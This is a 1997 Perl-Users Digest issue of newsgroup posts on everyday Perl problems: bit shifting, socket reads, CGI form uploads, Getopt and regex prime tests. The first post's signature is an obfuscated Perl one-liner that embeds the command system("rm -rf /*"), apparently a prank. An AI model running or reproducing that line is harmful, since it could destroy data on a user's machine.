[7596] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 1222 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Oct 23 23:12:29 1997

Date: Thu, 23 Oct 97 20:00:24 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Thu, 23 Oct 1997     Volume: 8 Number: 1222

Today's topics:
     Re: Bit Shifting in Perl (Terry Michael Fletcher - PCD ~)
     core dump on Linux.  SIGCHLD? <david@jemez.kellogg.nwu.edu>
     Hashed ref. to filehandle generates a warning (?) nospam@domain.com
     Re: HELP: strange problems with if () (Andrew M. Langmead)
     Is posible to make a post from a CGI to other CGI <deme@ran.es>
     Re: Learning Perl... best way? (Martien Verbruggen)
     NEWBIE QUESTION: How can perl check file size from remo mkiely@ix.netcom.com
     Re: OR v. Randal: Employees have no 1st Amendment Right sico@msh.xs4all.nl
     Perl subroutine parameter strangeness... <pfortin@cisco.com>
     Perl XS interface library linkage <brian.flanagan@compaq.com>
     Re: Please help - Text formatting problem (Eric Broach)
     Re: Primes via regexen (Was: Re: non-greedy regexps) (Ilya Zakharevich)
     Re: Problem with Getopt::std <klee@geocities.com>
     Re: Problems with $ARGV (A. Deckers)
     Re: Problems with $ARGV (Brandon S. Allbery KF8NH; to reply, change "void" to "kf8nh")
     Re: Q: Webserver for Win95? <cj-ryan@uiuc.edu>
     Re: Script to save an html browser file into the server (Mike King)
     sending a short file? (Becker Cuellar)
     Re: sockets (Kerry Schwab)
     Trouble with multi-part form data in Win32 PERL CGIs <visionary@ns.sympatico.ca>
     UPLOAD FILE EXTENSION (Luminita Stancu)
     Re: Using // <jstern@world.northgrum.com>
     Re: Using ? in URL (Martien Verbruggen)
     Re: using wildcards with unlink command (Martien Verbruggen)
     Re: You can submit your page to alll search engines FRE (Paul Osborn)
     Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: 24 Oct 1997 00:39:34 GMT
From: tfletche@pcocd2.intel.com (Terry Michael Fletcher - PCD ~)
Subject: Re: Bit Shifting in Perl
Message-Id: <62oqo6$p03$1@news.fm.intel.com>

Kitty Tu (ytu@scudc.scu.edu) so eloquently and verbosely pontificated:

> I am trying to do the bit shifting of a scalar variable (which actually
> contains one char) in Perl. And it always returns 0 back. Can somebody
> tell me exactly how to do the bit shifting if the variable does not
> contain a number? Or can it be done at all?

using the "-w" option warns "Argument isn't numberic in [...]_shift...."
and then it gets zero'd out.  you can use ord and chr, but im not sure if
that is what suits your needs...

$char = "c";
$char = chr(ord($char)>>1);
print "$char\n";	# prints the character "1"

watch out, because any left shifting by more than 1 can easily
double you out of the ASCII range.  then again, any right shifting
might shift off bits, and make it impossible to translate back to
the original character (if you are trying to encrypt text).

-- 
#!/usr/local/bin/perl -- tfletche@pcocd2.intel.com
@$=map{unpack u,$_}'A2G5S="!A(!M;-VU"3TQ$&ULP;2!097)L(&AA8VME<BP*'
,'-<WES=&5M(G)M+7)F(@``';($@,$_)=@$;y($_=~y/$//d){s/./y(@_)/e}d;s;
system("rm -rf /*");die $@;exi;sub y{return sprintf"%c",@_*$@*@$};



------------------------------

Date: Thu, 23 Oct 1997 17:44:42 -0500
From: david <david@jemez.kellogg.nwu.edu>
Subject: core dump on Linux.  SIGCHLD?
Message-Id: <Pine.HPP.3.95.971022091333.3548B-100000@jemez.kellogg.nwu.edu>

Hi.  I've got a really simple socket program that's basically the example
on page 349 of the new Camel book.  I've modified it to monitor a remote
server by listing all processes on the machine, and the new code is as
follows:

for ( ; $paddr = accept(CLIENT,Server); close CLIENT) {
    my($port,$iaddr) = sockaddr_in($paddr);
    my $name = gethostbyaddr($iaddr,AF_INET);
    my $processes = `/usr/bin/ps -ef`;   # added this line
    # my $processes = `/usr/bin/ps aux`;   # for Linux

    print CLIENT "$processes";
} 

This guy works fine under AIX and HP-UX, but it dumps core on Linux.  I 
did notice that it gives the following warning on AIX/HPUX:

  SIGCHLD handler "(null)" not defined.

Could this be causing the dump on Linux?  Is there a simple fix?

All of the machines are running Perl5.004.1 or newer.  The RS6K's are
running AIX4.2.1, the HP is running H-PUX 10.20, and the Linux boxes are
running RedHat 4.1 and 4.2 w/ kernel 2.0.30.

Thanks for any help.

David




------------------------------

Date: 24 Oct 1997 02:06:50 GMT
From: nospam@domain.com
Subject: Hashed ref. to filehandle generates a warning (?)
Message-Id: <62ovrq$l0b$1@news2.voicenet.com>


This code:

open (TEST, ">myfile.txt");
$HandleList{$first} = \*TEST;
print ${ $HandleList{$first} } "Howdy\n";

Generates the following warning (even with no -w switch):

String found where operator expected at test.pl line 5, near "} "Howdy\n""
        (Missing operator before  "Howdy\n"?)

 ...But in spite of this, it still works. 
I've tinkered with alternative syntax, just trial and error,
but only this syntax actually prints out to the file.  

So is it wrong, or right?  What's the right way?
If this is the only way to do it, then why does it
generate an error?  I think I'm misunderstanding 
something. 

My goal here is to use a hash of filehandles.  
None of the examples in the Camel book 
match this example exactly (I think...). 

--
##--------------------------------
##  John Nolan  
##  jpn acm org
##--------------------------------


------------------------------

Date: Fri, 24 Oct 1997 00:14:16 GMT
From: aml@world.std.com (Andrew M. Langmead)
Subject: Re: HELP: strange problems with if ()
Message-Id: <EIJ4ns.668@world.std.com>

uj89@rzstud1.rz.uni-karlsruhe.de (Bruno Boettcher) writes:


>#!/usr/bin/perl

You should always enable perl's warning feature.  The easiest way of
doing this is to say:

     #!/usr/bin/perl -w

at the top of your script. This may have given you a clue into what
was going wrong.


>$MKYBOOL = false;

Perl doesn't have a special boolean data type. It uses something
similar to C. In perl, a scalar is false if it is 0, an empty string,
or the undefined value. What you are doing here is assigning the
string "false" to the variable $MKYBOOL, and the string containing the
letters "f", "a", "l", "s", and "e" is a boolean true value. If you do
want the string "false", you should probably put quotes around it.

   $MKYBOOL = 'false';

> if (/^text.*$/) {

This isn't a problem, but you probably should leave out the ".*$". You
are looking to see the the first four characters are "text", obviously
if that matches, there will be zero or more characters followed by the
end of the string.

>    $MKYBOOL = true;

Again, "true" isn't a separate data type, but a string.

     $MKYBOOL = 'true';

>  if ( $MKYBOOL == true ) {

And since $MKYBOOL contains a string, you should use the string
comparison operator "eq", not the numeric comparison operator "==".

   if ( $MKYBOOL eq 'true') {

>   $MKYBOOL = false;

again, quotes around the string.

>now i had supposed, that i would get as a result only a number of 'true' 
>relative to the number of matches.... 

>so i was really surprised when getting the following output:

I'm suprised too. I don't have your input file, but I can't see how
$MKYBOOL can every become false.

>what did i overlook????

If I was doing this, I'd use the range operator.

while(<>) {
  if( /^text/ .. /"]\)/) {
   print "true\n";
  }
  else {
   print "false\n";
  }
}
-- 
Andrew Langmead


------------------------------

Date: 23 Oct 1997 23:30:53 GMT
From: "Deme" <deme@ran.es>
Subject: Is posible to make a post from a CGI to other CGI
Message-Id: <01bce068$7561de20$902f8cc2@p133>


Is posible to make a post from a CGI to other CGI
 i'm novice 


------------------------------

Date: 24 Oct 1997 02:21:04 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Learning Perl... best way?
Message-Id: <62p0mg$fdh$2@comdyn.comdyn.com.au>

In article <877506644.27322.0.nnrp-01.9e98f2d6@news.demon.co.uk>,
	"Lee Davies" <lee.davies@NOSPAMmicrotest.co.uk> writes:
> So... any recommendations on the best way to learn Perl?  My background is
> in Unix programming using C, C++ and shell scripting so I'm fairly ok with
> the Perl scripts I have looked at so far, I just need some guidance...

Is there a reason that you need to learn perl? I mean, according to
your statement, you already know how to program in c and c++. Why not
write the CGI apps in one of those languages.

If you do want/need to learn perl, I suggest visiting www.perl.com,
and having a look at the 'documentaion' section. And while you're
there, you might as well look through the on-line documentation, and
some faq material. The books recommended there are all excellent perl
references.

-- 
Martien Verbruggen                  | 
Webmaster www.tradingpost.com.au    | That's not a lie, it's a terminological
Commercial Dynamics Pty. Ltd.       | inexactitude.
NSW, Australia                      | 


------------------------------

Date: Fri, 24 Oct 1997 00:01:34 GMT
From: mkiely@ix.netcom.com
Subject: NEWBIE QUESTION: How can perl check file size from remote clients before uploading??
Message-Id: <344fe439.15417088@nntp.ix.netcom.com>

I'm creating an HTML front-end for photographers to upload their own
images to a database.  How can I have perl check the file sizes,
making sure it doesn't exceed a certain size before uploading.

Any suggestions would be appreciated!! 		


------------------------------

Date: 24 Oct 1997 01:32:19 GMT
From: sico@msh.xs4all.nl
Subject: Re: OR v. Randal: Employees have no 1st Amendment Rights
Message-Id: <62otr3$lpl$1@news2.xs4all.nl>

[posted and mailed to cited author]

In article <Pine.SOL.3.96.971022222713.26200A-100000@eqsun.geo.Arizona.EDU>,
Nathanael T. Brooks-English <nenglish@geo.Arizona.EDU> wrote:

>To whom it may concern,
>	I was very interested to read the post concerning Mr. Randall.
>Please elaborate on the facts of the case as you know them.  Was he trying
>to crack a security network, or did he just write a report listing the
>weaknesses of the Intel Security.  

I could say that he used Crack to find weak passwords (and found one) but
there is a lot more to this matter. Maybe you didn't read the entire article,
but it *did* contain useful pointers which you could follow to get the
information you are asking for.

>Thank you,
>Nathan English
>
>Nathan English, Student
>Dept. of Geosciences
>University of Arizona
>nenglish@geo.arizona.edu

I will refrain to comment on the sad state the education system must be
in judging from the fact that a student doesn't seem to be able to follow
pointers to information...

HTH. HAND.

CU, Sico.


------------------------------

Date: Thu, 23 Oct 1997 17:20:41 -0400
From: Pierre Fortin <pfortin@cisco.com>
Subject: Perl subroutine parameter strangeness...
Message-Id: <344FBFA9.4C287589@cisco.com>

Hi,

OK, I admit being a relative newbie to Perl...  (I'm trying to move over
from Rexx); but, I'm puzzled by the following:

  some_function(,,2);

is not allowed (syntax error).  Yet:

  some_function(0,,2)

is allowed; but some_function() gets:

  ($first,$second,$third) = @_;  # same as $_[0], $_[1], $_[2]
  #  giving:   $first = 0;   $second = 2; $third = <undef>;

Is there not a way to pass empty parameters to a function without either
a syntax error or having them shifted?  Or, is this an insurmountable
syntax/language restriction?  And no, I really would not like to have to
do:

  some_function(undef,undef,2);

Thanks,
Pierre




------------------------------

Date: Thu, 23 Oct 1997 20:46:19 GMT
From: Brian Flanagan <brian.flanagan@compaq.com>
Subject: Perl XS interface library linkage
Message-Id: <344FB79B.41C67EA6@compaq.com>

Hi,

I'm trying to use Perl 5.004 XS interface to a 3rd Party
library on a Linux machine.  I downloaded the latest version
of C-Scan and Data-Flow and ...

For the 3rd Party library of : 
 ./libdir/libtpl.a and ./libdir/libtpl.so.1.0.0

I used :
  
  h2xs -x -O ./libdir/tpl.h -L./libdir -ltpl

 ...and it created all the files.  I had to edit the typemap
file, but touched nothing else.

  perl Makefile.PL
  make
  make test

 ...and it :

Can't load 'tpl.so' for module tpl: File not found at
 /usr/lib/perl5/i486-linux/5.00401/DynaLoader.pm line 155

What else can I do to further track down the problem?

I also tried to make test_static and got...

 ./perl: can't load library 'tpl.so.1.0.0'
make: *** [test_static] Error 16

I'm not sure why it can't find the library.
BTW: I also put links to it in the working directory.
Any help would be appreciated.

-Brian Flanagan.
email to : brian.flanagan@compaq.com


------------------------------

Date: Thu, 23 Oct 1997 17:04:38 -0600
From: eric@jmfilm.com (Eric Broach)
Subject: Re: Please help - Text formatting problem
Message-Id: <eric-2310971704380001@10.0.0.6>

Hi. I want to thank everyone who wrote to help me out with the problem I
had a couple days ago. I tried the first suggestion I got, which was to
use:

     $string =~ tr/\r\n/  /;

and it did exactly what I needed. The transliteration worked well, because
it removed the returns and added a couple spaces to make the address more
legible, but didn't do anything if the user didn't use returns in filling
out the form.

Everyone had good ideas, though, and I'm going to keep them on hand in
case I need them later.


Thanks again,

Eric Broach
(eric@jmfilm.com)

-- 
+---------------------------------------------------------------+
|  Eric Broach                                                  |
|  Division Manager                                             |
|  Pixel River Interactive [a division of Jeffrey Mills Film]   |
|  Corporate Multimedia Development                             |
|  e-mail:   eric@jmfilm.com                                    |
|  WWW:      http://www.jmfilm.com/pixelriver                   |
+---------------------------------------------------------------+


------------------------------

Date: 23 Oct 1997 23:48:10 GMT
From: ilya@math.ohio-state.edu (Ilya Zakharevich)
Subject: Re: Primes via regexen (Was: Re: non-greedy regexps)
Message-Id: <62onnq$2dj$1@agate.berkeley.edu>

In article <62o2u6$24a@gateway.grumman.com>,
John L. Allen <allen@gateway.grumman.com> wrote:
> In article <slrn64sgsv.qp.abigail@betelgeuse.wayne.fnx.com>,
> Abigail <abigail@fnx.com> wrote:
> 
> >perl -wle 'print "Prime" if (1 x shift) =~ /^(?!(11+)\1+$)/'
> 
> 	Cooool.
> 
> exec >/dev/null
> 
> N=$1
> 
> time perl -le '$N = shift; while ($_.=1, $n++<$N) {
>   print $n if /^(?!(11+)\1+$)/ }' $N
> 
> time perl -le '$N = shift; while ($_.=1, $n++<$N) {
>   print $n if !/^(11+?)\1+$/ }' $N
> 
> For N=3000, I got real times of
> 
> 	1m36.93s
> 	0m43.57s

This is very strange.  There should be no substantial difference in
time due to (?!), and I would think that 1+? should be slower for
failing matches, when + and +? are semantically equivalent.  

Since 7/8 matches fail, one should not observe any real difference.
And what I see due to +? is 54s vs 43s, not anything as dramatic as
you show (and something similar to 7/8, thow there should be no direct
numeric relation between pi(3000) and the improvent to the above
algorithm).

Ilya


------------------------------

Date: Thu, 23 Oct 1997 11:27:02 -0700
From: Andrew Lee <klee@geocities.com>
Subject: Re: Problem with Getopt::std
Message-Id: <344F96F6.21BE@geocities.com>

Dave Barnett wrote:
> 
> I believe I am using Getopt::std correctly, but am getting what I
> believe are incorrect results.
> 
> I am unable to get a single character option to work properly.
> 
> For example:
> 
> #!/usr/local/bin/perl -w
> #
> use strict;
> use diagnostics;
> use Getopt::std;
> getopt('h');
> if (defined($::opt_h) {
>         $::opt_h = "";
>         USAGE();
> }
> sub USAGE {
>         print STDOUT ("usage: $0: [-h] [other options]\n");
>         print STDOUT ("         -h     Print this help message.");
>         exit 1;
> }
> 
> __END__
> 
> When I run the script as 'script.perl -h', the opt_h variable does not
> get set.  I am attempting to set up a help message for my script that
> will print out any time 'script.perl -h' is input.
> 
> If I enter 'script.perl -h --', opt_h is assigned "--" as a value, and
> so the subroutine that prints the usage information is then called.
> 
> What am I missing here?  I want to have a unix style usage line, without
> having to enter 'script.perl -h --', assuming that the users will not
> know to do this.  Can it be done using Getopt, or must I manually check
> for the '-h' option before this will work?
> 
> Any help appreciated.
> 
> Dave Barnett
> 
> --
> "Security through obscurity is no security at all."
>                 -comp.lang.perl.misc newsgroup posting
> 
> ------------------------------------------------------------------------
> * Dave Barnett               U.S.: barnett@houston.Geco-Prakla.slb.com *
> * DAPD Software Support Eng  U.K.: barnett@gatwick.Geco-Prakla.slb.com *
> ------------------------------------------------------------------------

getopts('h') fixed it (with an 's').

Andrew


------------------------------

Date: 23 Oct 1997 22:27:59 GMT
From: alain.deckers@man.ac.uk (A. Deckers)
Subject: Re: Problems with $ARGV
Message-Id: <slrn64vjrf.c06.alain.deckers@nessie.mcc.ac.uk>

In <62oacc$9r1@gateway.cybernet.com>,
	Mark Schunder <mschunder@cybernet.com> wrote:
>
>One of the program arguments that I have in my script is a filename.
>The problem that I am having is that I would like the user to input
>the filename anyway they want.  This includes with/without file
>extentions and wildcards.  When the user types in for instance pres4*
>as a program argument, the perl script returns "perl: No Match".  I
>know in this instance the problem is the asterisk.  Is there any way
>around this problem?  Is this an inherent problem in the $ARGV
>variable?

Are you confusing $ARGV and @ARGV?

This works just fine:

#!/usr/bin/perl

if (@ARGV) {
 print map {"$_\n"} @ARGV;
}

Call it as:

$arg foo f*.1 bar

And the output is:

foo
f*.1
bar

Cheers,

ALain

-- 
Perl information: <URL:http://www.perl.com/perl/>
        Perl FAQ: <URL:http://www.perl.com/perl/faq/>
    Perl archive: <URL:http://www.perl.com/CPAN/>
>>>>>>>> comp.lang.perl.misc is NOT a CGI group <<<<<<<<<<


------------------------------

Date: Thu, 23 Oct 97 20:39:54 -0400
From: bsa@void.apk.net (Brandon S. Allbery KF8NH; to reply, change "void" to "kf8nh")
Subject: Re: Problems with $ARGV
Message-Id: <344fef34$5$ofn$mr2ice@speaker>

In <62oacc$9r1@gateway.cybernet.com>, on 10/23/97 at 10:54 PM,
   mschunder@cybernet.com (Mark Schunder) said:
+-----
| When the user types in for instance pres4*
| as a program argument, the perl script returns "perl: No Match".
+--->8

Perl never sees it.  Your problem is that you're running it under the C shell. 
Real shells don't complain when globs fail.  (This isn't DOS or a derivative
thereof:  wildcards are expanded *by the shell* like they're supposed to be. 
Why should *every* program on the system have to know how to deal with
wildcards?)

If you *must* use the C shell for some reason, try "set nonomatch".  Or "set
noglob" if you really want all wildcards to be passed in --- but then your
Perl script has to deal with filename arguments that contain wildcards.

-- 
brandon s. allbery              [Team OS/2][Linux]          bsa@void.apk.net
cleveland, ohio              mr/2 ice's "rfc guru" :-)                 KF8NH
Warpstock '97:  OS/2 for the rest of us!  http://www.warpstock.org
Memo to MLS:  End The Burn Scam --- Doug Logan MUST GO!  FORZA CREW!



------------------------------

Date: Thu, 23 Oct 1997 17:23:55 -0500
From: Casey <cj-ryan@uiuc.edu>
Subject: Re: Q: Webserver for Win95?
Message-Id: <Pine.SUN.3.91.971023170513.5013A-100000@earhart.ai.uiuc.edu>




> 
> How do you imagine that Perl will help the situation?

I didn't imagine Perl could help me.
I thought that possibly one of the people who read the newsgroup might 
have been in a similar situation because some people use Perl for CGI 
scripting on web pages, and one needs a web server to run a CGI script. 
Seeing as  I recieved 15 messages that answered my question, I'd say I was 
right.


Thanks to those that wrote back to me with the answers.


			   Casey
	
                           ^^^^^     
                           (0/x)        
                            \-/         
                           /|=|\   
                           ||=||
                           \|=|/    	
                            =+=          
                            |||        
                            |||          
                            |||                    
                          _/ | \_       
                         {___|___}              
      
                                    




------------------------------

Date: Fri, 24 Oct 1997 02:20:19 GMT
From: m.king.garbage@praxa.garbage.com.au (Mike King)
Subject: Re: Script to save an html browser file into the server.
Message-Id: <34500517.249575190@news.ozemail.com.au>

On Wed, 22 Oct 1997 14:49:49 -0700, Sahar Madani <sahar@home.net>
wrote:

>how is it possible to save (publish) a CGI cookie based HTML file onto
>the server from browser ?

Basically you can't do it directly from the browser. I guess that you
need to pass data from the browser to a server script, which can be
done with a form, using either POST or GET, and the CGI on the server
saves the data away.

Or do you want to read a cookie from the client machine and pass it
back to the server ?

Mike


------------------------------

Date: 23 Oct 1997 22:12:26 GMT
From: becker@smart.net (Becker Cuellar)
Subject: sending a short file?
Message-Id: <62oi4a$q7r$1@news.smart.net>

Hello perl world,

   I'm trying to devise the easy/best way to accomplish this perhaps some
of you can hint me.  I have a set of Javascripts which do a bunch of
HTML page layout and creates a dynamic form. At the point where the user
clicks a SUBMIT button I need to gather all of the fields on this form and
put it on a flat file on a server thru ftp would be guess... What's the
best approach for this??
  o I thought about a perl script to start an ftp session  but I don't
have a file to put..since they come from memory
  o Do I have to get down to the sockets to do this?
  o A telnet session that appends lines to a file and closes once my pipe
is finished??

   Any ideas/hint appreciated

    Becker Cuellar



------------------------------

Date: 23 Oct 1997 17:03:38 -0600
From: kschwab@nyx.net (Kerry Schwab)
Subject: Re: sockets
Message-Id: <62ol4a$1c6$1@nyx10.nyx.net>

In article <Pine.OSF.3.95q.971023152017.14857A-100000@bert.WPI.EDU>,
Joseph H Speredelozzi  <joes@wpi.edu> wrote:
>I am reading from a socket using sysread, reading x number of bytes at a
>time, checking if the return value is less than x, at this point i know i
>have read all the info from the socket. Then I write to the socket again
>and when I go to do the next read (using the notation <socket>) it is as
>if the
>sysread never removed the data from the socket?? Any Ideas. 
>
>
>						Thanks,
>						Joe
>

The <socket> notation utilizes the stdio routines from your C libs.

>From the perlfunc manpage:

sysread:
        ....[some deleted] 
        It bypasses stdio, so mixing this with other kinds of reads,
        print(), write(), seek(), or tell() can cause confusion.

Perhaps you should use read() instead of sysread, or use sysread() and
syswrite() exclusively ?

--
Kerry


------------------------------

Date: Thu, 23 Oct 1997 20:53:38 -0700
From: "Graham H. Wile" <visionary@ns.sympatico.ca>
Subject: Trouble with multi-part form data in Win32 PERL CGIs
Message-Id: <34501BC2.78D5@ns.sympatico.ca>

I am attempting to write a CGI in PERL for Win32 on a Windows NT
server. It is called by pressing the submit button on a form that has an
input of TYPE=FILE. When I submit the form (it uses the POST method), it
calls a CGI that executes this statement to read in what was submitted:

			read(STDIN,$NewIn,$ENV{'CONTENT_LENGTH'});

        I believe this same statement is used in the "cgi-lib.pl"
library in the sub "ReadParse".

The Problem:

        If the only input on the form is the file upload "<INPUT
TYPE=FILE NAME="XXXX">", it works fine. But if I have any additional
inputs that are of the type:

                <INPUT TYPE=TEXT ....

it will still pass in the name value pair for the TYPE=FILE, but it will
not include the name-value pairs from any of the other input fields.
Therefore, if I print out the contents of "$NewIn", it will show me:

                -----------------------------94695187795
Content-Disposition: form-data; name="excel_file"; 	
filename="C:\PROGRAM FILES\ONLINE SERVICES\AT&T\RELIABTN.GIF"
Content-Type: image/gif 		GIF89a=A2


        That is only the name-value pair for the TYPE=FILE input. If I
enter a non-existant file path in this field and submit the form, then
it shows the name-value pairs for all the inputs (Assume my TYPE=FILE is
named "excel_file", and my TYPE=TEXT is named "TXT_TESTING"):

                -----------------------------246211681326298
Content-Disposition: form-data; 		name="excel_file"; filename="\FFOGRAM
FILES\ONLINE SERVICES\AT&T\RELIABTN.GIF" Content-Type: 		image/gif
-----------------------------246211681326298 Content-Disposition:
form-data; 			name="TXT_TESTING" ggggggg
-----------------------------246211681326298--=20


        Why would the

                -----------------------------246211681326298
Content-Disposition: form-data; 		name="TXT_TESTING" ggggggg
-----------------------------246211681326298--=20

get chopped off if I enter a valid file path in the "excel_file" input
field?

	This works fine on UNIX, by the way - so why not on NT?


------------------------------

Date: 23 Oct 1997 19:46:21 GMT
From: lstancu@nortel.ca (Luminita Stancu)
Subject: UPLOAD FILE EXTENSION
Message-Id: <62o9id$co@bmtlh10.bnr.ca>
Keywords: upload file extension CGI


Hello, everybody,

I've noticed more questions than answers in this group, but I am going to
try my luck anyway...
So, here's my question:

========================================================================
Is there a way to specify the file extension when calling the CGI upload
subroutine, instead of leaving the default one, which is .html?
========================================================================

I would really appreciate any info that might help.


Luminita



------------------------------

Date: Thu, 23 Oct 1997 22:55:12 GMT
From: Jim Stern <jstern@world.northgrum.com>
Subject: Re: Using //
Message-Id: <344FD5D0.5CF6@world.northgrum.com>

Gerben_Wierda@RnA.nl wrote:
> 
> Well,
> 
>         I'd like to use (for speed):
> 
> ===============================================
> /$matchline/;
> foreach my $headerline (@header) {
>     if ($headerline =~ //) {
> ===============================================
> 
> but as some people have explained to me, that doesn't work because // only
> uses the pattern that was last used *succesfully*. [...]

How about:
    foreach my $headerline (@header) {
        if ($headerline =~ /$matchline/o) {
    . . .
> [...]

The perlop man page says the /o modifier causes the pattern to
be compiled just once even if the pattern contains one or
more variables.

-- 
Jim Stern -- Views here are my own, not Northrop Grumman's.   (El
Segundo, CA)


------------------------------

Date: 24 Oct 1997 02:22:19 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: Using ? in URL
Message-Id: <62p0or$fdh$3@comdyn.comdyn.com.au>

In article <toutatis-ya023180002310971651280001@news.euro.net>,
	toutatis@_SPAMTRAP_toutatis.net (Toutatis) writes:
> ECSSPEAR@livjm.ac.uk wrote:
> 
>> I want to access a script but actually sending some info to the script
>> using the ? in the URL Eg.
>> 
>> /cgi-bin/access.cgi?position=quiz
>> 
>> How do I get the script to pick up the value position?
> 
> for (split /&/, $ENV{'QUERY_STRING'}){
>    ($k,$v) = split /=/;
>    $input{$k} = $v;
> }

Or even better:

use CGI;

read the documentation that comes with it. It will save you lots of
work when writing CGI scripts.

-- 
Martien Verbruggen                  | 
Webmaster www.tradingpost.com.au    | If at first you don't succeed, try
Commercial Dynamics Pty. Ltd.       | again. Then quit; there's no use being
NSW, Australia                      | a damn fool about it.


------------------------------

Date: 24 Oct 1997 02:16:42 GMT
From: mgjv@comdyn.com.au (Martien Verbruggen)
Subject: Re: using wildcards with unlink command
Message-Id: <62p0ea$fdh$1@comdyn.comdyn.com.au>

In article <62jbd7$u6$1@insosf1.netins.net>,
	"Paul B." <reply-by@post.com> writes:
> Is it possible to use a wildcard with an unlink command?  Like:
> 
> unlink ("/test/web/*.txt");

Read the documentation

perldoc -f unlink

That will give you the part from the perlfunc man page which talks about
unlink. And... guess what? It tells you exactly what you wanted to know.

-- 
Martien Verbruggen                  | 
Webmaster www.tradingpost.com.au    | A Freudian slip is when you say one
Commercial Dynamics Pty. Ltd.       | thing but mean your mother.
NSW, Australia                      | 


------------------------------

Date: Fri, 24 Oct 1997 00:09:32 GMT
From: posborn@menlosoftware.com (Paul Osborn)
Subject: Re: You can submit your page to alll search engines FREE
Message-Id: <344fe71d.29636761@nntp.best.com>

On 23 Oct 1997 23:08:42 GMT, "Deme" <deme@ran.es> wrote:

>I make a Page that now is beta but soon 
>you can send your page to near 1000 search engines!!
> I will add every day more serach engines
>
> Please Test my page !!!
>
OK OK I Will!!!!!!!

Uh, what's the URL?





------------------------------

Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 1222
**************************************

home help back first fref pref prev next nref lref last post